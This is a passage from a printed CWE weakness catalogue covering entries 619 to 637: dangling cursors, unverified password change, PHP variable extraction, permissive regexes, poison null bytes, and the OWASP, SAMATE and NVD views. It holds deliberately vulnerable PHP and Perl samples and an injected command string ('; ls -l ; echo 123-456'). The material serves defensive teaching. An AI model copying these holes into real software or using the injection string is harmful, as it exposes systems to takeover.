Alternate keywords: OLE Object, Component Object Model (COM)

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
PeerOf	We	100	Technology-Specific Input Validation Problems	1000	119
ChildOf		275	Permission Issues	**699**	302
ChildOf	We	749	Exposed Dangerous Method or Function	**1000**	731
PeerOf	Wv	*623*	*Unsafe ActiveX Control Marked Safe For Scripting*	*1000*	*607*

References

< http://msdn.microsoft.com/workshop/components/activex/safety.asp >.
< http://msdn.microsoft.com/workshop/components/activex/security.asp >.

CWE-619: Dangling Database Cursor (aka 'Cursor Injection')

Weakness ID: 619 *(Weakness Base)* **Status:** Incomplete

Description

Summary

If a database cursor is not closed properly, then it could become accessible to other users while retaining the same privileges that were originally assigned, leaving the cursor "dangling."

Extended Description

For example, an improper dangling cursor could arise from unhandled exceptions. The impact of the issue depends on the cursor's role, but SQL injection attacks are commonly possible.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- SQL

Potential Mitigations

Close cursors immediately after access to them is complete. Ensure that you close cursors if exceptions occur.

Background Details

A cursor is a feature in Oracle PL/SQL and other languages that provides a handle for executing and accessing the results of SQL queries.

Other Notes

The weakness can occur both as Primary and Resultant.

This issue is currently reported for unhandled exceptions, but it is theoretically possible any time the programmer does not close the cursor at the proper time.

Relationships

Nature	Type	ID	Name	V	Page
PeerOf	C	265	Privilege / Sandbox Issues	1000	291
PeerOf	C	388	Error Handling	1000	413
ChildOf	Wc	402	Transmission of Private Resources into a New Sphere ('Resource Leak')	699 1000	430
ChildOf	We	404	Improper Resource Shutdown or Release	**699 1000**	431

References

David Litchfield. "The Oracle Hacker's Handbook".

David Litchfield. "Cursor Injection". < http://www.databasesecurity.com/dbsec/cursor-injection.pdf >.

CWE-620: Unverified Password Change

Weakness ID: 620 *(Weakness Variant)* **Status:** Draft

Description

Summary

When setting a new password for a user, the product does not require knowledge of the original password, or using another form of authentication.

Extended Description

This could be used by an attacker to change passwords for another user, thus gaining the privileges associated with that user.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

```
$user = $_GET['user'];
$pass = $_GET['pass'];
$checkpass = $_GET['checkpass'];
if ($pass == $checkpass) {
  SetUserPassword($user, $pass);
}
```

Observed Examples

Reference	Description
CVE-2000-0944	Web application password change utility doesn't check the original password.
CVE-2007-0681	

Potential Mitigations

When prompting for a password change, force the user to provide the original password in addition to the new password.

Do not use "forgotten password" functionality. But if you must, ensure that you are only providing information to the actual user, e.g. by using an email address or challenge question that the legitimate user already provided in the past; do not allow the current user to change this identity information until the correct password has been provided.

Other Notes

This weakness can be both Primary or Resultant

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	255	Credentials Management	699	279
ChildOf	We	522	Insufficiently Protected Credentials	**699 1000**	537
ChildOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	**711**	717

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

CWE-621: Variable Extraction Error

Weakness ID: 621 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The product uses external input to determine the names of variables into which information is extracted, without verifying that the names of the specified variables are valid. This could cause the program to overwrite unintended variables.

Extended Description

For example, in PHP, calling extract() or import_request_variables() without the proper arguments could allow arbitrary global variables to be overwritten, including superglobals. Similar functionality might be possible in other interpreted languages, including custom languages.

Alternate Terms

Variable overwrite

Time of Introduction

- Implementation

Applicable Platforms

Languages

- PHP

Observed Examples

Reference	Description
CVE-2006-2828	import_request_variables() buried in include files makes post-disclosure analysis confusing
CVE-2006-6661	extract() enables static code injection
CVE-2006-7079	extract used for register_globals compatibility layer, enables path traversal
CVE-2006-7135	extract issue enables file inclusion
CVE-2007-0649	extract() buried in include files makes post-disclosure analysis confusing; original report had seemed incorrect.

Potential Mitigations

Use whitelists of variable names that can be extracted.

Consider refactoring your code to avoid extraction routines altogether.

In PHP, call extract() with options such as EXTR_SKIP and EXTR_PREFIX_ALL; call import_request_variables() with a prefix argument. Note that these capabilities are not present in all PHP versions.

Other Notes

In general, variable extraction can make control and data flow analysis difficult to perform. For PHP, extraction can be used to provide functionality similar to register_globals, which is frequently disabled in production systems. Many PHP versions will overwrite superglobals in extract/ import_request_variables calls.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	20	Improper Input Validation	**699**	14
ChildOf	We	94	Failure to Control Generation of Code ('Code Injection')	**1000**	110
PeerOf	We	99	Improper Control of Resource Identifiers ('Resource Injection')	1000	118
PeerOf	We	471	Modification of Assumed-Immutable Data (MAID)	1000	492
PeerOf	We	627	Dynamic Variable Evaluation	1000	611

Research Gaps

Probably under-reported for PHP. Under-studied for other interpreted languages.

CWE-622: Unvalidated Function Hook Arguments

Weakness ID: 622 *(Weakness Variant)* **Status:** Draft

Description

Summary

A product adds hooks to user-accessible API functions, but does not properly validate the arguments. This could lead to resultant vulnerabilities.

Extended Description

Such hooks can be used in defensive software that runs with privileges, such as anti-virus or firewall, which hooks kernel calls. When the arguments are not validated, they could be used to bypass the protection scheme or attack the product itself.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2006-4541	DoS in IDS via NULL argument
CVE-2006-7160	DoS in firewall using standard Microsoft functions
CVE-2007-0708	DoS in firewall using standard Microsoft functions
CVE-2007-1220	invalid syscall arguments bypass code execution limits
CVE-2007-1376	function does not verify that its argument is the proper type, leading to arbitrary memory write

Potential Mitigations

Ensure that all arguments are verified, as defined by the API you are protecting.

Drop privileges before invoking such functions, if possible.

Other Notes

This weakness is usually primary.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	20	Improper Input Validation	**699**	14
ChildOf	We	88	Argument Injection or Modification	**1000**	97

CWE-623: Unsafe ActiveX Control Marked Safe For Scripting

Weakness ID: 623 *(Weakness Variant)* **Status:** Draft

Description

Summary

An ActiveX control is intended for restricted use, but it has been marked as safe-for-scripting.

Extended Description

This might allow attackers to use dangerous functionality via a web page that accesses the control, which can lead to different resultant vulnerabilities, depending on the control's behavior.

Time of Introduction

- Architecture and Design
- Implementation

Observed Examples

Reference	Description
CVE-2006-6510	kiosk allows bypass to read files
CVE-2007-0219	web browser uses certain COM objects as ActiveX
CVE-2007-0617	add emails to spam whitelist

Potential Mitigations

During development, do not mark it as safe for scripting.

After distribution, you can set the kill bit for the control so that it is not accessible from Internet Explorer.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	267	Privilege Defined With Unsafe Actions	**699** **1000**	293
PeerOf	We	618	Exposed Unsafe ActiveX Method	1000	603
ChildOf	We	691	Insufficient Control Flow Management	1000	682

Research Gaps

It is suspected that this is under-reported.

References

< http://msdn.microsoft.com/workshop/components/activex/safety.asp >.
< http://msdn.microsoft.com/workshop/components/activex/security.asp >.
< http://support.microsoft.com/kb/240797 >.

CWE-624: Executable Regular Expression Error

Weakness ID: 624 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The product uses a regular expression that either (1) contains an executable component with user-controlled inputs, or (2) allows a user to enable execution by inserting pattern modifiers.

Extended Description

Case (2) is possible in the PHP preg_replace() function, and possibly in other languages when a user-controlled input is inserted into a string that is later parsed as a regular expression.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- PHP
- Perl

Observed Examples

Reference	Description
CVE-2005-3420	executable regexp in PHP by inserting "e" modifier into first argument to preg_replace

Reference	Description
CVE-2006-2059	executable regexp in PHP by inserting "e" modifier into first argument to preg_replace
CVE-2006-2878CVE-2006-2908	vBulletin 3.6.3 allows PHP syntax inserted into the replacement argument to PHP preg_replace(), which uses the "/e" modifier

Potential Mitigations

The regular expression feature in some languages allows inputs to be quoted or escaped before insertion, such as \Q and \E in Perl.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness Base	77	Failure to Sanitize Data into a Control Plane ('Command Injection')	**699 1000**	74

Research Gaps

Under-studied. The existing PHP reports are limited to highly skilled researchers, but there are few examples for other languages. It is suspected that this is under-reported for all languages. Usability factors might make it more prevalent in PHP, but this theory has not been investigated.

CWE-625: Permissive Regular Expression

Weakness ID: 625 *(Weakness Base)* **Status:** Draft

Description

Summary

The product uses a regular expression that does not sufficiently restrict the set of allowed values.

Extended Description

This effectively causes the regexp to accept substrings that match the pattern, which produces a partial comparison to the target. In some cases, this can lead to other weaknesses. Common errors include:

not identifying the beginning and end of the target string

using wildcards instead of acceptable character ranges

others

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Perl
- PHP

Demonstrative Examples

Bad Code

```
$phone = GetPhoneNumber();
if ($phone =~ /\d+-\d+/) {
  # looks like it only has hyphens and digits
  system("lookup-phone $phone");
}
else {
  error("malformed number!");
}
```

An attacker could provide an argument such as: "; ls -l ; echo 123-456" This would pass the check, since "123-456" is sufficient to match the "\d+-\d+" portion of the regular expression.

Observed Examples

Reference	Description
	VIM Mailing list, March 14, 2006
CVE-2002-2109	Regexp isn't "anchored" to the beginning or end, which allows spoofed values that have trusted values as substrings.
CVE-2002-2175	insertion of username into regexp results in partial comparison, causing wrong database entry to be updated when one username is a substring of another.

Reference	Description
CVE-2005-1949	Regexp for IP address isn't anchored at the end, allowing appending of shell metacharacters.
CVE-2006-1895	".*" regexp leads to static code injection
CVE-2006-4527	regexp intended to verify that all characters are legal, only checks that at least one is legal, enabling file inclusion.
CVE-2006-6511	regexp in .htaccess file allows access of files whose names contain certain substrings
CVE-2006-6629	allow load of macro files whose names contain certain substrings.

Potential Mitigations

When applicable, ensure that your regular expression marks beginning and ending string patterns, such as "/^string$/" for Perl.

Other Notes

This problem is frequently found when the regular expression is used in input validation or security features such as authentication.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
PeerOf	Base	183	Permissive Whitelist	1000	211
PeerOf	Base	184	Incomplete Blacklist	1000	212
ChildOf	Weakness	185	Incorrect Regular Expression	**699** **1000**	214
PeerOf	Base	187	Partial Comparison	1000	216

CWE-626: Null Byte Interaction Error (Poison Null Byte)

Weakness ID: 626 *(Weakness Variant)* **Status:** Draft

Description

Summary

The product does not properly handle null bytes or NUL characters when passing data between different representations or components.

Extended Description

A null byte (NUL character) can have different meanings across representations or languages. For example, it is a string terminator in standard C libraries, but Perl and PHP strings do not treat it as a terminator. When two representations are crossed - such as when Perl or PHP invokes underlying C functionality - this can produce an interaction error with unexpected results. Similar issues have been reported for ASP. Other interpreters written in C might also be affected.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- PHP
- Perl
- ASP.NET

Observed Examples

Reference	Description
CVE-2005-3153	inserting SQL after a NUL byte bypasses whitelist regexp, enabling SQL injection
CVE-2005-4155	NUL byte bypasses PHP regular expression check

Potential Mitigations

Remove null bytes from all incoming strings

Other Notes

The poison null byte is frequently useful in path traversal attacks by terminating hard-coded extensions that are added to a filename. It can play a role in regular expression processing in PHP.

There are not many CVE examples, because the poison NULL byte is (1) a design limitation, which typically is not included in CVE by itself; and (2) it is typically used as a facilitator manipulation to widen the scope of potential attacks against other vulnerabilities.

Current (2007) usage of "poison null byte" is typically related to this C/Perl/PHP interaction error, but the original term in 1998 was applied to an off-by-one buffer overflow involving a null byte.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	20	Improper Input Validation	**699 1000**	14
ChildOf	We	436	Interpretation Conflict	699 1000	463

References

Rain Forest Puppy. "Poison NULL byte". Phrack 55. < http://insecure.org/news/P55-07.txt >.

Brett Moore. "0x00 vs ASP file upload scripts". < http://www.security-assessment.com/Whitepapers/0x00_vs_ASP_File_Uploads.pdf >.

ShAnKaR. "ShAnKaR: multiple PHP application poison NULL byte vulnerability". < http://seclists.org/fulldisclosure/2006/Sep/0185.html >.

CWE-627: Dynamic Variable Evaluation

Weakness ID: 627 *(Weakness Base)* **Status:** Incomplete

Description

Summary

In a language where the user can influence the name of a variable at runtime, if the variable names are not controlled, an attacker can read or write to arbitrary variables, or access arbitrary functions. functions.

Extended Description

The resultant vulnerabilities depend on the behavior of the application, both at the crossover point and in any control/data flow that is reachable by the related variables or

Alternate Terms

Dynamic evaluation

Time of Introduction

- Implementation

Applicable Platforms

Languages

- PHP
- Perl

Potential Mitigations

Avoid dynamic evaluation whenever possible.

Use only whitelists of acceptable variable or function names.

For function names, ensure that you are only calling functions that accept the proper number of arguments, to avoid unexpected null arguments.

Background Details

Many interpreted languages support the use of a "$$varname" construct to set a variable whose name is specified by the $varname variable. In PHP, these are referred to as "variable variables." Functions might also be invoked using similar syntax, such as $$funcname(arg1, arg2).

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	94	Failure to Control Generation of Code ('Code Injection')	**699 1000**	110
PeerOf	We	183	Permissive Whitelist	1000	211
PeerOf	We	621	Variable Extraction Error	1000	606

Research Gaps

Under-studied, probably under-reported. Few researchers look for this issue; most public reports are for PHP, although other languages are affected. This issue is likely to grow in PHP as developers begin to implement functionality in place of register_globals.

References

Steve Christey. "Dynamic Evaluation Vulnerabilities in PHP applications". Full-Disclosure. 2006-05-03. < http://seclists.org/fulldisclosure/2006/May/0035.html >.

Shaun Clowes. "A Study In Scarlet: Exploiting Common Vulnerabilities in PHP Applications". < http://www.securereality.com.au/studyinscarlet.txt >.

CWE-628: Function Call with Incorrectly Specified Arguments

Weakness ID: 628 *(Weakness Base)* **Status:** Draft

Description

Summary

The product calls a function, procedure, or routine with arguments that are not correctly specified, leading to always-incorrect behavior and resultant weaknesses.

Extended Description

There are multiple ways in which this weakness can be introduced, including: (1) the wrong variable or reference; (2) an incorrect number of arguments; (3) incorrect order of arguments; (4) wrong type of arguments; or (5) wrong value.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2006-7049	The method calls the functions with the wrong argument order, which allows remote attackers to bypass intended access restrictions.

Potential Mitigations

Once found, these issues are easy to fix. Use code inspection tools and relevant compiler features to identify potential violations. Pay special attention to code that is not likely to be exercised heavily during QA.

Make sure your API's are stable before you use them in production code.

Other Notes

This is usually primary to other weaknesses, but it can be resultant if the function's API or function prototype changes. Since these bugs typically introduce obviously incorrect behavior, they are found quickly, unless they occur in rarely-tested code paths. Managing the correct number of arguments can be made more difficult in cases where format strings are used, or when variable numbers of arguments are supported.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	559	Often Misused: Arguments and Parameters	**699**	559
ChildOf	Wc	573	Failure to Follow Specification	**1000**	570
ChildOf	C	736	CERT C Secure Coding Section 02 - Declarations and Initialization (DCL)	**734**	725
ChildOf	C	737	CERT C Secure Coding Section 03 - Expressions (EXP)	734	725
ChildOf	C	742	CERT C Secure Coding Section 08 - Memory Management (MEM)	734	727
ParentOf	Wv	*683*	*Function Call With Incorrect Order of Arguments*	***699***	*676*

Nature	Type	ID	Name	V	Page
				1000	
ParentOf	W	685	Function Call With Incorrect Number of Arguments	699 1000	677
ParentOf	W	686	Function Call With Incorrect Argument Type	699 1000	678
ParentOf	W	687	Function Call With Incorrectly Specified Argument Value	699 1000	678
ParentOf	W	688	Function Call With Incorrect Variable or Reference as Argument	699 1000	679

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	DCL10-C	Maintain the contract between the writer and caller of variadic functions
CERT C Secure Coding	EXP37-C	Call functions with the arguments intended by the API
CERT C Secure Coding	MEM08-C	Use realloc() only to resize dynamically allocated arrays

CWE-629: Weaknesses in OWASP Top Ten (2007)

View ID: 629 *(View: Graph)* **Status:** Draft

Objective

CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2007.

View Data

View Metrics

	CWEs in this view		Total CWEs
Total	**38**	out of	777
Views	0	out of	22
Categories	10	out of	105
Weaknesses	25	out of	638
Compound_Elements	3	out of	12

View Audience

Developers

This view outlines the most important issues as identified by the OWASP Top Ten (2007 version), providing a good starting point for web application developers who want to code more securely.

Software Customers

This view outlines the most important issues as identified by the OWASP Top Ten (2007 version), providing customers with a way of asking their software developers to follow minimum expectations for secure code.

Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.

Relationships

Nature	Type	ID	Name	V	Page
HasMember	C	712	OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)	**629**	712
HasMember	C	713	OWASP Top Ten 2007 Category A2 - Injection Flaws	**629**	713
HasMember	C	714	OWASP Top Ten 2007 Category A3 - Malicious File Execution	**629**	713
HasMember	C	715	OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference	**629**	713
HasMember	C	716	OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF)	**629**	714
HasMember	C	717	OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling	**629**	714
HasMember	C	718	OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management	**629**	714

Nature	Type	ID	Name	V	Page
HasMember		719	OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage	**629**	715
HasMember		720	OWASP Top Ten 2007 Category A9 - Insecure Communications	**629**	715
HasMember		721	OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access	**629**	715
MemberOf	V	*699*	*Development Concepts*	***699***	*688*

Relationship Notes

The relationships in this view are a direct extraction of the CWE mappings that are in the 2007 OWASP document. CWE has changed since the release of that document.

References

"Top 10 2007". OWASP. 2007-05-18. < http://www.owasp.org/index.php/Top_10_2007 >.

CWE-630: Weaknesses Examined by SAMATE

View ID: 630 *(View: Explicit Slice)* **Status:** Draft

Objective

CWE nodes in this view (slice) are being focused on by SAMATE.

View Data

View Metrics

	CWEs in this view		Total CWEs
Total	**21**	out of	777
Views	0	out of	22
Categories	1	out of	105
Weaknesses	20	out of	638
Compound_Elements	0	out of	12

Relationships

Nature	Type	ID	Name	V	Page
HasMember		78	Failure to Preserve OS Command Structure ('OS Command Injection')	**630**	77
HasMember		80	Improper Sanitization of Script-Related HTML Tags in a Web Page (Basic XSS)	**630**	89
HasMember		89	Failure to Preserve SQL Query Structure ('SQL Injection')	**630**	99
HasMember		99	Improper Control of Resource Identifiers ('Resource Injection')	**630**	118
HasMember		121	Stack-based Buffer Overflow	**630**	151
HasMember		122	Heap-based Buffer Overflow	**630**	152
HasMember		134	Uncontrolled Format String	**630**	164
HasMember		170	Improper Null Termination	**630**	196
HasMember		244	Failure to Clear Heap Memory Before Release ('Heap Inspection')	**630**	266
HasMember		251	Often Misused: String Management	**630**	274
HasMember		259	Hard-Coded Password	**630**	283
HasMember		367	Time-of-check Time-of-use (TOCTOU) Race Condition	**630**	392
HasMember		391	Unchecked Error Condition	**630**	417
HasMember		401	Failure to Release Memory Before Removing Last Reference ('Memory Leak')	**630**	427
HasMember		412	Unrestricted Lock on Critical Resource	**630**	440
HasMember		415	Double Free	**630**	442
HasMember		416	Use After Free	**630**	445
HasMember		457	Use of Uninitialized Variable	**630**	478
HasMember		468	Incorrect Pointer Scaling	**630**	488
HasMember		476	NULL Pointer Dereference	**630**	497
HasMember		489	Leftover Debug Code	**630**	513

References

< http://samate.nist.gov/index.php/Source_Code_Security_Analysis >.

CWE-631: Resource-specific Weaknesses

View ID: 631 *(View: Graph)* **Status:** Draft

Objective

CWE nodes in this view (graph) occur when the application handles particular system resources.

View Data

View Metrics

	CWEs in this view		Total CWEs
Total	**62**	out of	777
Views	0	out of	22
Categories	11	out of	105
Weaknesses	46	out of	638
Compound_Elements	5	out of	12

Relationships

Nature	Type	ID	Name	V	Page
HasMember	C	632	Weaknesses that Affect Files or Directories	**631**	615
HasMember	C	633	Weaknesses that Affect Memory	**631**	615
HasMember	C	634	Weaknesses that Affect System Processes	**631**	616
MemberOf	V	*699*	*Development Concepts*	***699***	*688*

CWE-632: Weaknesses that Affect Files or Directories

Category ID: 632 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category affect file or directory resources.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	Wc	*22*	*Path Traversal*	***631***	*22*
ParentOf	We	*41*	*Improper Resolution of Path Equivalence*	***631***	*43*
ParentOf	We	*59*	*Improper Link Resolution Before File Access ('Link Following')*	***631***	*54*
ParentOf	C	*60*	*UNIX Path Link Problems*	***631***	*56*
ParentOf	C	*63*	*Windows Path Link Problems*	***631***	*59*
ParentOf	Ww	*67*	*Improper Handling of Windows Device Names*	***631***	*62*
ParentOf	C	*68*	*Windows Virtual File Problems*	***631***	*63*
ParentOf	C	*70*	*Mac Virtual File Problems*	***631***	*64*
ParentOf	We	*96*	*Improper Sanitization of Directives in Statically Saved Code ('Static Code Injection')*	***631***	*114*
ParentOf	B	*98*	*Improper Control of Filename for Include/Require Statement in PHP Program ('PHP File Inclusion')*	***631***	*116*
ParentOf	We	*178*	*Failure to Resolve Case Sensitivity*	***631***	*206*
ParentOf	Ww	*243*	*Failure to Change Working Directory in chroot Jail*	***631***	*264*
ParentOf	Ww	*249*	*Often Misused: Path Manipulation*	***631***	*270*
ParentOf	Ww	*260*	*Password in Configuration File*	***631***	*286*
ParentOf	C	*275*	*Permission Issues*	***631***	*302*
ParentOf	Wc	*282*	*Improper Ownership Management*	***631***	*307*
ParentOf	Wc	*284*	*Access Control (Authorization) Issues*	***631***	*309*
ParentOf	C	*376*	*Temporary File Issues*	***631***	*402*
ParentOf	B	*434*	*Unrestricted File Upload*	***631***	*461*
ParentOf	Ww	*533*	*Information Leak Through Server Log Files*	***631***	*544*
ParentOf	We	*552*	*Files or Directories Accessible to External Parties*	***631***	*555*
MemberOf	V	*631*	*Resource-specific Weaknesses*	***631***	*615*

CWE-633: Weaknesses that Affect Memory

Category ID: 633 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category affect memory resources.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf		*14*	*Compiler Removal of Code to Clear Buffers*	***631***	*10*
ParentOf		*119*	*Failure to Constrain Operations within the Bounds of a Memory Buffer*	***631***	*144*
ParentOf		*120*	*Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')*	***631***	*148*
ParentOf		*122*	*Heap-based Buffer Overflow*	***631***	*152*
ParentOf		*129*	*Unchecked Array Indexing*	***631***	*160*
ParentOf		*134*	*Uncontrolled Format String*	***631***	*164*
ParentOf		*226*	*Sensitive Information Uncleared Before Release*	***631***	*252*
ParentOf		*244*	*Failure to Clear Heap Memory Before Release ('Heap Inspection')*	***631***	*266*
ParentOf		*249*	*Often Misused: Path Manipulation*	*631*	*270*
ParentOf		*251*	*Often Misused: String Management*	***631***	*274*
ParentOf		*316*	*Plaintext Storage in Memory*	***631***	*340*
ParentOf		*401*	*Failure to Release Memory Before Removing Last Reference ('Memory Leak')*	***631***	*427*
ParentOf		*415*	*Double Free*	***631***	*442*
ParentOf		*416*	*Use After Free*	***631***	*445*
ParentOf		*591*	*Sensitive Data Storage in Improperly Locked Memory*	***631***	*582*
MemberOf	V	*631*	*Resource-specific Weaknesses*	***631***	*615*
ParentOf		*763*	*Release of Invalid Pointer or Reference*	***631***	

CWE-634: Weaknesses that Affect System Processes

Category ID: 634 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category affect system process resources during process invocation or inter-process communication (IPC).

Relationships

Nature	Type	ID	Name	V	Page
ParentOf		*69*	*Failure to Handle Windows ::DATA Alternate Data Stream*	***631***	*63*
ParentOf		*78*	*Failure to Preserve OS Command Structure ('OS Command Injection')*	***631***	*77*
ParentOf		*88*	*Argument Injection or Modification*	***631***	*97*
ParentOf		*114*	*Process Control*	***631***	*134*
ParentOf		*214*	*Process Environment Information Leak*	***631***	*244*
ParentOf		*266*	*Incorrect Privilege Assignment*	***631***	*291*
ParentOf		*273*	*Improper Check for Dropped Privileges*	***631***	*300*
ParentOf		*364*	*Signal Handler Race Condition*	***631***	*388*
ParentOf		*366*	*Race Condition within a Thread*	***631***	*390*
ParentOf		*383*	*J2EE Bad Practices: Direct Use of Threads*	***631***	*408*
ParentOf		*387*	*Signal Errors*	***631***	*412*
ParentOf		*403*	*UNIX File Descriptor Leak*	***631***	*430*
ParentOf		*421*	*Race Condition During Access to Alternate Channel*	***631***	*449*
ParentOf		*422*	*Unprotected Windows Messaging Channel ('Shatter')*	***631***	*450*
ParentOf		*426*	*Untrusted Search Path*	***631***	*453*
ParentOf		*479*	*Unsafe Function Call from a Signal Handler*	***631***	*502*
ParentOf		*572*	*Call to Thread run() instead of start()*	***631***	*569*
MemberOf	V	*631*	*Resource-specific Weaknesses*	***631***	*615*

CWE-635: Weaknesses Used by NVD

View ID: 635 *(View: Explicit Slice)* **Status:** Draft

Objective

CWE nodes in this view (slice) are used by NIST to categorize vulnerabilities within NVD.

View Data

View Metrics

	CWEs in this view		Total CWEs
Total	**19**	out of	777
Views	0	out of	22
Categories	6	out of	105
Weaknesses	12	out of	638
Compound_Elements	1	out of	12

Relationships

Nature	Type	ID	Name	V	Page
HasMember	B	16	Configuration	**635**	13
HasMember	B	20	Improper Input Validation	**635**	14
HasMember	B	22	Path Traversal	**635**	22
HasMember	B	59	Improper Link Resolution Before File Access ('Link Following')	**635**	54
HasMember	B	78	Failure to Preserve OS Command Structure ('OS Command Injection')	**635**	77
HasMember	B	79	Failure to Preserve Web Page Structure ('Cross-site Scripting')	**635**	83
HasMember	B	89	Failure to Preserve SQL Query Structure ('SQL Injection')	**635**	99
HasMember	B	94	Failure to Control Generation of Code ('Code Injection')	**635**	110
HasMember	B	119	Failure to Constrain Operations within the Bounds of a Memory Buffer	**635**	144
HasMember	B	134	Uncontrolled Format String	**635**	164
HasMember	B	189	Numeric Errors	**635**	217
HasMember	B	200	Information Leak (Information Disclosure)	**635**	230
HasMember	B	255	Credentials Management	**635**	279
HasMember	B	264	Permissions, Privileges, and Access Controls	**635**	290
HasMember	B	287	Improper Authentication	**635**	312
HasMember	B	310	Cryptographic Issues	**635**	335
HasMember	C	352	Cross-Site Request Forgery (CSRF)	**635**	373
HasMember	B	362	Race Condition	**635**	383
HasMember	B	399	Resource Management Errors	**635**	424

References

NIST. "CWE - Common Weakness Enumeration". < http://nvd.nist.gov/cwe.cfm >.

Maintenance Notes

The set of CWE elements as used in NVD was created in summer of 2007. Since then, CWE has grown, so it is expected that this list will change. The current organization as used by NVD is captured in the following image.

NVD cross-section of CWE
http://nvd.nist.gov/images/cwe_cross_section_large.jpg

CWE-636: Not Failing Securely (aka 'Failing Open')

Weakness ID: 636 *(Weakness Class)* **Status:** Draft

Description

Summary

When the product encounters an error condition or failure, its design requires it to fall back to a state that is less secure than other options that are available, such as selecting the weakest encryption algorithm or using the most permissive access control restrictions.

Extended Description

By entering a less secure state, the product inherits the weaknesses associated with that state, making it easier to compromise. At the least, it causes administrators to have a false sense of

security. This weakness typically occurs as a result of wanting to "fail functional" to minimize administration and support costs, instead of "failing safe."

Alternate Terms

Failing Open

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Integrity

intended access restrictions can be bypassed, which is often contradictory to what the product's administrator expects.

Demonstrative Examples

Switches may revert their functionality to that of hubs when the table used to map ARP information to the switch interface overflows, such as when under a spoofing attack. This results in traffic being broadcast to an eavesdropper, instead of being sent only on the relevant switch interface. To mitigate this type of problem, the developer could limit the number of ARP entries that can be recorded for a given switch interface, while other interfaces may keep functioning normally. Configuration options can be provided on the appropriate actions to be taken in case of a detected failure, but safe defaults should be used.

Observed Examples

Reference	Description
CVE-2006-4407	Incorrect prioritization leads to the selection of a weaker cipher. Although it is not known whether this issue occurred in implementation or design, it is feasible that a poorly designed algorithm could be a factor.
CVE-2007-5277	The failure of connection attempts in a web browser resets DNS pin restrictions. An attacker can then bypass the same origin policy by rebinding a domain name to a different IP address. This was an attempt to "fail functional."

Potential Mitigations

Subdivide and allocate resources and components so that a failure in one part does not affect the entire product.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
PeerOf	Weakness	280	Improper Handling of Insufficient Permissions or Privileges	1000	306
ChildOf	Category	388	Error Handling	699	413
ChildOf	Weakness	657	Violation of Secure Design Principles	**699 1000**	645
ChildOf	Category	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	**711**	719
ChildOf	Weakness	755	Improper Handling of Exceptional Conditions	1000	734
ParentOf	Weakness	*455*	*Non-exit on Failed Initialization*	*1000*	*477*

Research Gaps

Since design issues are hard to fix, they are rarely publicly reported, so there are few CVE examples of this problem as of January 2008. Most publicly reported issues occur as the result of an implementation error instead of design, such as CVE-2005-3177 (failure to handle large numbers of resources) or CVE-2005-2969 (inadvertently disabling a verification step, leading to selection of a weaker protocol).

Causal Nature

Implicit

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling

References

Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. September, 1975. < http://web.mit.edu/Saltzer/www/publications/protection/ >.

Sean Barnum and Michael Gegick. "Failing Securely". 2005-12-05. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/349.html >.

CWE-637: Failure to Use Economy of Mechanism

Weakness ID: 637 *(Weakness Class)* **Status:** Draft

Description

Summary

The software uses a more complex mechanism than necessary, which could lead to resultant weaknesses when the mechanism is not correctly understood, modeled, configured, implemented, or used.

Extended Description

